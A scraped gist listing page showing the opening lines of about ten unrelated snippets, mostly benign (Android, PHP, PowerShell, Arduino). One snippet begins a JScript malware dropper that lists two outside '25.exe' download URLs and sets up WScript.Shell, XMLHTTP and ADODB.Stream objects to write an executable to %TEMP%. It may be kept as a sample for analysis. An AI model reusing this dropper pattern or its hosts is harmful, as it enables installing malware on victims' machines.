This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Microsoft.Win32; | |
using System; | |
using System.Collections.Generic; | |
using System.Diagnostics; | |
using System.Linq; | |
using System.Runtime.InteropServices; | |
using System.Windows.Forms; | |
namespace VPZ.Security | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Update-vdproj-version([version] $ver, [string] $filename) { | |
$productCodePattern = '\"ProductCode\" = \"8\:{([\d\w-]+)}\"' | |
$packageCodePattern = '\"PackageCode\" = \"8\:{([\d\w-]+)}\"' | |
$productVersionPattern = '\"ProductVersion\" = \"8\:[0-9]+(\.([0-9]+)){1,3}\"' | |
$productCode = '"ProductCode" = "8:{' + [guid]::NewGuid().ToString().ToUpper() + '}"' | |
$packageCode = '"PackageCode" = "8:{' + [guid]::NewGuid().ToString().ToUpper() + '}"' | |
$productVersion = '"ProductVersion" = "8:' + $ver.ToString(3) + '"' | |
(Get-Content $filename) | ForEach-Object { | |
% {$_ -replace $productCodePattern, $productCode } | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
var urls = [ | |
'http://wherareyoufromff.com/25.exe', | |
'http://arendroukysdqq.com/25.exe' | |
]; | |
var shell = WScript.CreateObject('WScript.Shell'); | |
var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP'); | |
var stream = WScript.CreateObject('ADODB.Stream'); | |
var tmp = shell.ExpandEnvironmentStrings('%TEMP%\\'); | |
var file = tmp + 4194304 + '.exe'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import android.text.SpannableStringBuilder; | |
import android.text.Spanned; | |
import android.text.TextPaint; | |
import android.text.method.LinkMovementMethod; | |
import android.text.style.ClickableSpan; | |
import android.view.View; | |
import android.widget.TextView; | |
import java.util.ArrayList; | |
import java.util.regex.Matcher; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @param string $plain | |
* @param string $algo | |
* @param int $iterations | |
* @param int $saltlen | |
* @param int $keylen | |
* @return string | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Lightweight script to detect whether the browser is running in Private mode. | |
* @returns {Promise<boolean>} | |
* | |
* Live demo: | |
* @see https://output.jsbin.com/tazuwif | |
* | |
* This snippet uses Promises. If you want to run it in old browsers, polyfill it: | |
* @see https://cdn.jsdelivr.net/npm/es6-promise@4/dist/es6-promise.auto.min.js | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'json' | |
require 'uri' | |
require 'yaml' | |
## | |
# Make a certain obfuscated js less obnoxious to analyze. | |
# | |
class Obfuscated | |
attr_accessor :script |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int BLINK_SPEED_MS = 250; | |
int PIN_N = 15; | |
void setup() { | |
// put your setup code here, to run once: | |
pinMode(PIN_N, OUTPUT); | |
} | |
void loop() { | |
// put your main code here, to run repeatedly: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <ESP8266WiFi.h> | |
int PIN_N = 15; // pin on which LED is connected | |
int PIN_MODE = LOW; | |
int SERIAL_BAUD = 115200; | |
const char* WIFI_SSID = "ESP8266"; // your WiFi SSID | |
const char* WIFI_PASSWORD = "nodemcutest"; // your WiFi password |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import android.annotation.SuppressLint; | |
import android.media.MediaCodec; | |
import android.media.MediaExtractor; | |
import android.media.MediaFormat; | |
import android.media.MediaMetadataRetriever; | |
import android.media.MediaMuxer; | |
import android.util.Log; | |
import java.io.IOException; | |
import java.nio.ByteBuffer; |
OlderNewer